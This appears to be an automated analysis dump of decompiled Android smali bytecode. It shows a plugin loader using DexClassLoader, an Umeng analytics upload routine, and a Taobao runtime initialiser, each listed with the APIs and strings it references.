                              246const-string v6, "."
                              248invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              249move-result-object v5
                              251invoke-virtual {p2}, Ljava/lang/reflect/Method;->getName()Ljava/lang/String;
                              252move-result-object v6
                              254invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              255move-result-object v5
                              257const-string v6, "("
                              259invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              260move-result-object v5
                              262invoke-virtual {v5, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              263move-result-object v5
                              265const-string v6, ") => "
                              267invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              268move-result-object v5
                              270invoke-virtual {v5, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              271move-result-object v1
                              273invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              274move-result-object v1
                              276invoke-static {v3, v4, v1}, Landroid/util/Log;->println(ILjava/lang/String;Ljava/lang/String;)I
                              277cond_170: throw v2
                              278cond_171: move v1, v5
                              279goto/16 :goto_115
                              280cond_173: move v4, v5
                              281goto/16 :goto_121
                              282cond_175:
                              283invoke-virtual {p2}, Ljava/lang/reflect/Method;->getReturnType()Ljava/lang/Class;
                              284move-result-object v1
                              286sget-object v4, Ljava/lang/Void;->TYPE:Ljava/lang/Class;
                              288invoke-virtual {v1, v4}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
                              289move-result v1
                              290if-eqz v1, :cond_184
                              292const-string v1, "void"
                              293goto/16 :goto_132
                              294cond_184:
                              295invoke-static {v7}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
                              296move-result-object v1
                              297goto/16 :goto_132
                              298catchall_189: move-exception v1
                              299move-object v2, v1
                              300move-object v7, v6
                              301goto/16 :goto_10a
                              302catchall_18e: move-exception v2
                              303move-object v7, v1
                              304goto/16 :goto_10a
                              305catch_192: move-exception v2
                              306move-object v6, v1
                              307goto/16 :goto_ef
                              308cond_196: move v3, v1
                              309goto/16 :goto_12a
                              310cond_198: move v3, v2
                              311goto/16 :goto_7e
                              312cond_19b: move-object v8, v6
                              313goto/16 :goto_3c
                              Cross References
                              APIs
                              • android.content.Context.getFilesDir
                              • java.io.File.<init>
                              • java.io.File.exists
                              • java.io.File.mkdirs
                              • java.io.File.<init>
                              • java.lang.StringBuilder.<init>
                              • java.lang.String.hashCode
                              • java.lang.Math.abs
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.io.File.exists
                              • java.io.File.getPath
                              • java.io.File.getPath
                              • android.content.Context.getClassLoader
                              • dalvik.system.DexClassLoader.<init>
                              • java.io.File.delete
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.Exception.getMessage
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.io.File.getPath
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              Strings
                              • dexopt
                              • plugin load on
                              • _
                              • .jar
                              • move plugin to run path
                              • load apk fail:
                              • move
                              • to temp path fail
                              • load apk fail
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v1, 0x0
                              2const/16 v8, 0x64
                              3try_start_3: new-instance v2, Ljava/io/File;
                              5invoke-virtual {p1}, Landroid/content/Context;->getFilesDir()Ljava/io/File;
                              6move-result-object v0
                              8const-string/jumbo v3, "dexopt"
                              10invoke-direct {v2, v0, v3}, Ljava/io/File;-><init>(Ljava/io/File;Ljava/lang/String;)V
                              12invoke-virtual {v2}, Ljava/io/File;->exists()Z
                              13move-result v0
                              14if-nez v0, :cond_c7
                              16invoke-virtual {v2}, Ljava/io/File;->mkdirs()Z
                              17goto_18: new-instance v3, Ljava/io/File;
                              19invoke-virtual {p2}, Lcom/omg/plugin/PluginInfo;->getPath()Ljava/lang/String;
                              20move-result-object v0
                              22invoke-direct {v3, v0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              23try_start_21:
                              24sget-object v4, Lcom/omg/plugin/PluginContext$ResourcesPluginContext;->h:Ljava/lang/Object;
                              25monitor-enter v4
                              26try_start_24: new-instance v0, Ljava/lang/StringBuilder;
                              28invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                              30invoke-static {p1}, Lcom/omg/android/tool/ProcessHelper;->getCurrentProcessName(Landroid/content/Context;)Ljava/lang/String;
                              31move-result-object v5
                              33invoke-virtual {v5}, Ljava/lang/String;->hashCode()I
                              34move-result v5
                              36invoke-static {v5}, Ljava/lang/Math;->abs(I)I
                              37move-result v5
                              39invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              40move-result-object v0
                              42const-string/jumbo v5, ""
                              44invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              45move-result-object v0
                              47invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              48move-result-object v0
                              49new-instance v5, Ljava/lang/StringBuilder;
                              51invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                              53const-string/jumbo v6, "plugin load on "
                              55invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              56move-result-object v5
                              58invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              59move-result-object v5
                              61invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              62move-result-object v5
                              64invoke-static {v5}, Lcom/omg/tool/log/Logger;->D(Ljava/lang/String;)V
                              66invoke-static {p1}, Lcom/omg/tool/StorageManager;->create(Landroid/content/Context;)Lcom/omg/tool/StorageManager;
                              67move-result-object v5
                              68new-instance v6, Ljava/lang/StringBuilder;
                              70invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
                              72invoke-virtual {p2}, Lcom/omg/plugin/PluginInfo;->getName()Ljava/lang/String;
                              73move-result-object v7
                              75invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              76move-result-object v6
                              78invoke-virtual {p2}, Lcom/omg/plugin/PluginInfo;->getVersonCode()I
                              79move-result v7
                              81invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              82move-result-object v6
                              84const-string/jumbo v7, "_"
                              86invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              87move-result-object v6
                              89invoke-virtual {v6, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              90move-result-object v0
                              92const-string/jumbo v6, ".jar"
                              94invoke-virtual {v0, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              95move-result-object v0
                              97invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              98move-result-object v0
                              100sget-object v6, Lcom/omg/tool/StorageManager;->Cache:Lcom/omg/tool/StorageManager$StorageType;
                              102invoke-virtual {v5, v0, v6}, Lcom/omg/tool/StorageManager;->createFile(Ljava/lang/String;Lcom/omg/tool/StorageManager$StorageType;)Ljava/io/File;
                              103move-result-object v1
                              104iget-boolean v0, p0, Lcom/omg/plugin/PluginContext$ResourcesPluginContext;->g:Z
                              105if-eqz v0, :cond_9a
                              107invoke-virtual {v1}, Ljava/io/File;->exists()Z
                              108move-result v0
                              109if-nez v0, :cond_a6
                              110cond_9a:
                              111const-string/jumbo v0, "move plugin to run path"
                              113invoke-static {v0}, Lcom/omg/tool/log/Logger;->I(Ljava/lang/String;)V
                              115invoke-static {v3, v1}, Lcom/omg/tool/IOManager;->moveTo(Ljava/io/File;Ljava/io/File;)V
                              116const/4 v0, 0x1
                              117iput-boolean v0, p0, Lcom/omg/plugin/PluginContext$ResourcesPluginContext;->g:Z
                              118cond_a6: monitor-exit v4
                              119goto_a7: new-instance v0, Ldalvik/system/DexClassLoader;
                              121invoke-virtual {v1}, Ljava/io/File;->getPath()Ljava/lang/String;
                              122move-result-object v1
                              124invoke-virtual {v2}, Ljava/io/File;->getPath()Ljava/lang/String;
                              125move-result-object v2
                              126const/4 v3, 0x0
                              128invoke-virtual {p1}, Landroid/content/Context;->getClassLoader()Ljava/lang/ClassLoader;
                              129move-result-object v4
                              131invoke-direct {v0, v1, v2, v3, v4}, Ldalvik/system/DexClassLoader;-><init>(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/ClassLoader;)V
                              132iput-object v0, p0, Lcom/omg/plugin/PluginContext$ResourcesPluginContext;->f:Ljava/lang/ClassLoader;
                              134iget-object v0, p0, Lcom/omg/plugin/PluginContext$ResourcesPluginContext;->f:Ljava/lang/ClassLoader;
                              135if-eqz v0, :cond_118
                              136iput-object p1, p0, Lcom/omg/plugin/PluginContext$ResourcesPluginContext;->e:Landroid/content/Context;
                              137if-eqz p3, :cond_c6
                              139invoke-interface {p3, p0}, Lcom/omg/plugin/PluginContext$PluginContextLoadCallBack;->onLoad(Lcom/omg/plugin/PluginContext;)V
                              140goto_c6: return-void
                              141cond_c7:
                              142invoke-virtual {v2}, Ljava/io/File;->delete()Z
                              143try_end_ca: goto/16 :goto_18
                              144catch_cc: move-exception v0
                              146invoke-static {v0}, Lcom/omg/tool/builds/ExceptionUtils;->handle(Ljava/lang/Exception;)V
                              147if-eqz p3, :cond_c6
                              148new-instance v1, Ljava/lang/StringBuilder;
                              150invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              152const-string/jumbo v2, "load apk fail:"
                              154invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              155move-result-object v1
                              157invoke-virtual {v0}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                              158move-result-object v0
                              160invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              161move-result-object v0
                              163invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              164move-result-object v0
                              166invoke-interface {p3, v8, v0}, Lcom/omg/plugin/PluginContext$PluginContextLoadCallBack;->onError(ILjava/lang/String;)V
                              167goto/16 :goto_c6
                              168catchall_ee: move-exception v0
                              169try_start_ef: monitor-exit v4
                              170try_start_f0: throw v0
                              171catch_f1: move-exception v0
                              172try_start_f2:
                              173invoke-static {v0}, Lcom/omg/tool/builds/ExceptionUtils;->handle(Ljava/lang/Exception;)V
                              174new-instance v0, Ljava/lang/StringBuilder;
                              176invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                              178const-string/jumbo v4, "move "
                              180invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              181move-result-object v0
                              183invoke-virtual {v3}, Ljava/io/File;->getPath()Ljava/lang/String;
                              184move-result-object v3
                              186invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              187move-result-object v0
                              189const-string/jumbo v3, " to temp path fail"
                              191invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              192move-result-object v0
                              194invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              195move-result-object v0
                              197invoke-static {v0}, Lcom/omg/tool/log/Logger;->E(Ljava/lang/String;)V
                              198goto/16 :goto_a7
                              199cond_118: if-eqz p3, :cond_c6
                              200const/16 v0, 0x64
                              202const-string/jumbo v1, "load apk fail"
                              204invoke-interface {p3, v0, v1}, Lcom/omg/plugin/PluginContext$PluginContextLoadCallBack;->onError(ILjava/lang/String;)V
                              205try_end_122: goto/16 :goto_c6
                              Cross References
                              APIs
                              • java.net.Proxy$Type.HTTP:Ljava/net/Proxy$Type
                              • java.net.InetSocketAddress.<init>
                              • java.net.Proxy.<init>
                              • java.net.URL.<init>
                              • java.net.URL.openConnection
                              • java.lang.System.currentTimeMillis
                              • java.lang.String.valueOf
                              • java.net.HttpURLConnection.setRequestProperty
                              • java.net.HttpURLConnection.setRequestProperty
                              • java.net.HttpURLConnection.setRequestProperty
                              • java.net.HttpURLConnection.setRequestProperty
                              • java.net.HttpURLConnection.setConnectTimeout
                              • java.net.HttpURLConnection.setReadTimeout
                              • java.net.HttpURLConnection.setRequestMethod
                              • java.net.HttpURLConnection.setDoOutput
                              • java.net.HttpURLConnection.setDoInput
                              • java.net.HttpURLConnection.setUseCaches
                              • java.lang.System.setProperty
                              • java.net.HttpURLConnection.getOutputStream
                              • java.io.OutputStream.write
                              • java.io.OutputStream.flush
                              • java.io.OutputStream.close
                              • java.net.HttpURLConnection.getResponseCode
                              • java.net.HttpURLConnection.getHeaderField
                              • android.text.TextUtils.isEmpty
                              • java.lang.String.equalsIgnoreCase
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.net.HttpURLConnection.getInputStream
                              • java.net.HttpURLConnection.disconnect
                              • java.net.URL.<init>
                              • java.net.URL.openConnection
                              • java.net.HttpURLConnection.disconnect
                              • java.net.HttpURLConnection.disconnect
                              • java.net.HttpURLConnection.disconnect
                              Strings
                              • X-Umeng-UTC
                              • X-Umeng-Sdk
                              • Msg-Type
                              • envelope/json
                              • Content-Type
                              • POST
                              • http.keepAlive
                              • false
                              • application/thrift
                              • Send message to
                              • IOException,Failed to send message.
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v4, 0x0
                              2const/4 v1, 0x0
                              3const/4 v3, 0x1
                              4try_start_3:
                              5iget-object v0, p0, Lb/a/w;->e:Lb/a/v;
                              6if-eqz v0, :cond_c
                              8iget-object v0, p0, Lb/a/w;->e:Lb/a/v;
                              10invoke-interface {v0}, Lb/a/v;->a()V
                              11cond_c:
                              12invoke-direct {p0}, Lb/a/w;->c()Z
                              13move-result v0
                              14if-eqz v0, :cond_d4
                              15new-instance v0, Ljava/net/Proxy;
                              17sget-object v2, Ljava/net/Proxy$Type;->HTTP:Ljava/net/Proxy$Type;
                              18new-instance v5, Ljava/net/InetSocketAddress;
                              20iget-object v6, p0, Lb/a/w;->b:Ljava/lang/String;
                              21iget v7, p0, Lb/a/w;->c:I
                              23invoke-direct {v5, v6, v7}, Ljava/net/InetSocketAddress;-><init>(Ljava/lang/String;I)V
                              25invoke-direct {v0, v2, v5}, Ljava/net/Proxy;-><init>(Ljava/net/Proxy$Type;Ljava/net/SocketAddress;)V
                              26new-instance v2, Ljava/net/URL;
                              28invoke-direct {v2, p2}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
                              30invoke-virtual {v2, v0}, Ljava/net/URL;->openConnection(Ljava/net/Proxy;)Ljava/net/URLConnection;
                              31move-result-object v0
                              32check-cast v0, Ljava/net/HttpURLConnection;
                              33try_end_2d: move-object v2, v0
                              34goto_2e:
                              35const-string v0, "X-Umeng-UTC"
                              37invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                              38move-result-wide v6
                              40invoke-static {v6, v7}, Ljava/lang/String;->valueOf(J)Ljava/lang/String;
                              41move-result-object v5
                              43invoke-virtual {v2, v0, v5}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                              45const-string v0, "X-Umeng-Sdk"
                              47iget-object v5, p0, Lb/a/w;->a:Ljava/lang/String;
                              49invoke-virtual {v2, v0, v5}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                              51const-string v0, "Msg-Type"
                              53const-string v5, "envelope/json"
                              55invoke-virtual {v2, v0, v5}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                              57const-string v0, "Content-Type"
                              59const-string v5, "envelope/json"
                              61invoke-virtual {v2, v0, v5}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                              62const/16 v0, 0x2710
                              64invoke-virtual {v2, v0}, Ljava/net/HttpURLConnection;->setConnectTimeout(I)V
                              65const/16 v0, 0x7530
                              67invoke-virtual {v2, v0}, Ljava/net/HttpURLConnection;->setReadTimeout(I)V
                              69const-string v0, "POST"
                              71invoke-virtual {v2, v0}, Ljava/net/HttpURLConnection;->setRequestMethod(Ljava/lang/String;)V
                              72const/4 v0, 0x1
                              74invoke-virtual {v2, v0}, Ljava/net/HttpURLConnection;->setDoOutput(Z)V
                              75const/4 v0, 0x1
                              77invoke-virtual {v2, v0}, Ljava/net/HttpURLConnection;->setDoInput(Z)V
                              78const/4 v0, 0x0
                              80invoke-virtual {v2, v0}, Ljava/net/HttpURLConnection;->setUseCaches(Z)V
                              81sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                              82const/16 v5, 0x8
                              83if-ge v0, v5, :cond_78
                              85const-string v0, "http.keepAlive"
                              87const-string v5, "false"
                              89invoke-static {v0, v5}, Ljava/lang/System;->setProperty(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              90cond_78:
                              91invoke-virtual {v2}, Ljava/net/HttpURLConnection;->getOutputStream()Ljava/io/OutputStream;
                              92move-result-object v0
                              94invoke-virtual {v0, p1}, Ljava/io/OutputStream;->write([B)V
                              96invoke-virtual {v0}, Ljava/io/OutputStream;->flush()V
                              98invoke-virtual {v0}, Ljava/io/OutputStream;->close()V
                              100iget-object v0, p0, Lb/a/w;->e:Lb/a/v;
                              101if-eqz v0, :cond_8e
                              103iget-object v0, p0, Lb/a/w;->e:Lb/a/v;
                              105invoke-interface {v0}, Lb/a/v;->b()V
                              106cond_8e:
                              107invoke-virtual {v2}, Ljava/net/HttpURLConnection;->getResponseCode()I
                              108move-result v5
                              110const-string v0, "Content-Type"
                              112invoke-virtual {v2, v0}, Ljava/net/HttpURLConnection;->getHeaderField(Ljava/lang/String;)Ljava/lang/String;
                              113move-result-object v0
                              115invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              116move-result v6
                              117if-nez v6, :cond_108
                              119const-string v6, "application/thrift"
                              121invoke-virtual {v0, v6}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                              122move-result v0
                              123if-eqz v0, :cond_108
                              124move v0, v3
                              125goto_a7: const/16 v3, 0xc8
                              126if-ne v5, v3, :cond_f4
                              127if-eqz v0, :cond_f4
                              128new-instance v0, Ljava/lang/StringBuilder;
                              130invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                              132const-string v3, "Send message to "
                              134invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              135move-result-object v0
                              137invoke-virtual {v0, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              138move-result-object v0
                              140invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              141move-result-object v0
                              143invoke-static {v0}, Lb/a/aw;->b(Ljava/lang/String;)V
                              145invoke-virtual {v2}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream;
                              146try_end_c6: move-result-object v3
                              147try_start_c7:
                              148invoke-static {v3}, Lb/a/au;->b(Ljava/io/InputStream;)[B
                              149try_end_ca: move-result-object v0
                              150try_start_cb:
                              151invoke-static {v3}, Lb/a/au;->c(Ljava/io/InputStream;)V
                              152try_end_ce: if-eqz v2, :cond_d3
                              154invoke-virtual {v2}, Ljava/net/HttpURLConnection;->disconnect()V
                              155cond_d3: return-object v0
                              156try_start_d4: new-instance v0, Ljava/net/URL;
                              158invoke-direct {v0, p2}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
                              160invoke-virtual {v0}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
                              161move-result-object v0
                              162check-cast v0, Ljava/net/HttpURLConnection;
                              163try_end_df: move-object v2, v0
                              164goto/16 :goto_2e
                              165catchall_e2: move-exception v0
                              166try_start_e3:
                              167invoke-static {v3}, Lb/a/au;->c(Ljava/io/InputStream;)V
                              168throw v0
                              169try_end_e7: move-exception v0
                              170goto_e8:
                              171const-string v3, "IOException,Failed to send message."
                              173invoke-static {v3, v0}, Lb/a/aw;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                              174try_end_ed: if-eqz v2, :cond_f2
                              176invoke-virtual {v2}, Ljava/net/HttpURLConnection;->disconnect()V
                              177cond_f2: move-object v0, v1
                              178goto/16 :goto_d3
                              179cond_f4: if-eqz v2, :cond_f9
                              181invoke-virtual {v2}, Ljava/net/HttpURLConnection;->disconnect()V
                              182cond_f9: move-object v0, v1
                              183goto/16 :goto_d3
                              184catchall_fb: move-exception v0
                              185move-object v2, v1
                              186goto_fd: if-eqz v2, :cond_102
                              188invoke-virtual {v2}, Ljava/net/HttpURLConnection;->disconnect()V
                              189cond_102: throw v0
                              190catchall_103: move-exception v0
                              191goto/16 :goto_fd
                              192catch_105: move-exception v0
                              193move-object v2, v1
                              194goto/16 :goto_e8
                              195cond_108: move v0, v4
                              196goto/16 :goto_a7
                              Cross References
                              APIs
                              • android.content.Context.getApplicationContext
                              • android.content.Context.getSharedPreferences
                              • android.content.SharedPreferences.getBoolean
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.util.Log.e
                              • android.content.SharedPreferences.getString
                              • android.content.SharedPreferences.getString
                              • java.lang.String.valueOf
                              • java.lang.String.contains
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.util.Log.e
                              • android.os.Build.BRAND:Ljava/lang/String
                              • java.lang.String.equalsIgnoreCase
                              • android.util.Log.e
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.util.Log.e
                              • java.lang.Boolean.valueOf
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.util.Log.e
                              • java.lang.Boolean.valueOf
                              Strings
                              • runtime
                              • enabled
                              • RuntimeUtils
                              • - RuntimeUtils init: mEnabled=
                              • excludeVersions
                              • excludeDexes
                              • , excludeVersions=
                              • , version=
                              • OPPO
                              • - AndroidRuntime init: Build.VERSION.SDK_INT=23, BRAND=OPPO, is disabled
                              • init
                              • - RuntimeUtils init: success=
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v5, 0x0
                              2const/4 v0, 0x1
                              3const/4 v1, 0x0
                              5invoke-virtual {p1}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
                              6move-result-object v2
                              7iput-object v2, p0, Lcom/taobao/android/runtime/AndroidRuntime;->mContext:Landroid/content/Context;
                              9const-string v2, "runtime"
                              11invoke-virtual {p1, v2, v1}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
                              12move-result-object v2
                              13iput-object v2, p0, Lcom/taobao/android/runtime/AndroidRuntime;->mPreferences:Landroid/content/SharedPreferences;
                              15iget-object v2, p0, Lcom/taobao/android/runtime/AndroidRuntime;->mPreferences:Landroid/content/SharedPreferences;
                              17const-string v3, "enabled"
                              19invoke-interface {v2, v3, v0}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                              20move-result v2
                              21iput-boolean v2, p0, Lcom/taobao/android/runtime/AndroidRuntime;->mEnabled:Z
                              22iget-boolean v2, p0, Lcom/taobao/android/runtime/AndroidRuntime;->mEnabled:Z
                              23if-nez v2, :cond_39
                              25const-string v2, "RuntimeUtils"
                              26new-instance v3, Ljava/lang/StringBuilder;
                              28invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                              30const-string v4, "- RuntimeUtils init: mEnabled="
                              32invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              33move-result-object v3
                              34iget-boolean v4, p0, Lcom/taobao/android/runtime/AndroidRuntime;->mEnabled:Z
                              36invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
                              37move-result-object v3
                              39invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              40move-result-object v3
                              42invoke-static {v2, v3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                              43cond_39:
                              44iget-object v2, p0, Lcom/taobao/android/runtime/AndroidRuntime;->mPreferences:Landroid/content/SharedPreferences;
                              46const-string v3, "excludeVersions"
                              48invoke-interface {v2, v3, v5}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              49move-result-object v2
                              50iput-object v2, p0, Lcom/taobao/android/runtime/AndroidRuntime;->mExcludeVersions:Ljava/lang/String;
                              52iget-object v2, p0, Lcom/taobao/android/runtime/AndroidRuntime;->mPreferences:Landroid/content/SharedPreferences;
                              54const-string v3, "excludeDexes"
                              56invoke-interface {v2, v3, v5}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              57move-result-object v2
                              58iput-object v2, p0, Lcom/taobao/android/runtime/AndroidRuntime;->mExcludeDexes:Ljava/lang/String;
                              60iget-object v2, p0, Lcom/taobao/android/runtime/AndroidRuntime;->mExcludeDexes:Ljava/lang/String;
                              61if-eqz v2, :cond_97
                              63iget-object v2, p0, Lcom/taobao/android/runtime/AndroidRuntime;->mExcludeDexes:Ljava/lang/String;
                              64sget v3, Landroid/os/Build$VERSION;->SDK_INT:I
                              66invoke-static {v3}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
                              67move-result-object v3
                              69invoke-virtual {v2, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                              70move-result v2
                              71if-nez v2, :cond_f4
                              72goto_5f: iput-boolean v0, p0, Lcom/taobao/android/runtime/AndroidRuntime;->mEnabled:Z
                              73iget-boolean v0, p0, Lcom/taobao/android/runtime/AndroidRuntime;->mEnabled:Z
                              74if-nez v0, :cond_97
                              76const-string v0, "RuntimeUtils"
                              77new-instance v2, Ljava/lang/StringBuilder;
                              79invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              81const-string v3, "- RuntimeUtils init: mEnabled="
                              83invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              84move-result-object v2
                              85iget-boolean v3, p0, Lcom/taobao/android/runtime/AndroidRuntime;->mEnabled:Z
                              87invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
                              88move-result-object v2
                              90const-string v3, ", excludeVersions="
                              92invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              93move-result-object v2
                              95iget-object v3, p0, Lcom/taobao/android/runtime/AndroidRuntime;->mExcludeDexes:Ljava/lang/String;
                              97invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              98move-result-object v2
                              100const-string v3, ", version="
                              102invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              103move-result-object v2
                              104sget v3, Landroid/os/Build$VERSION;->SDK_INT:I
                              106invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              107move-result-object v2
                              109invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              110move-result-object v2
                              112invoke-static {v0, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                              113cond_97: sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                              114const/16 v2, 0x17
                              115if-ne v0, v2, :cond_b0
                              117const-string v0, "OPPO"
                              119sget-object v2, Landroid/os/Build;->BRAND:Ljava/lang/String;
                              121invoke-virtual {v0, v2}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                              122move-result v0
                              123if-eqz v0, :cond_b0
                              125const-string v0, "RuntimeUtils"
                              127const-string v2, "- AndroidRuntime init: Build.VERSION.SDK_INT=23, BRAND=OPPO, is disabled"
                              129invoke-static {v0, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                              130iput-boolean v1, p0, Lcom/taobao/android/runtime/AndroidRuntime;->mEnabled:Z
                              131cond_b0:
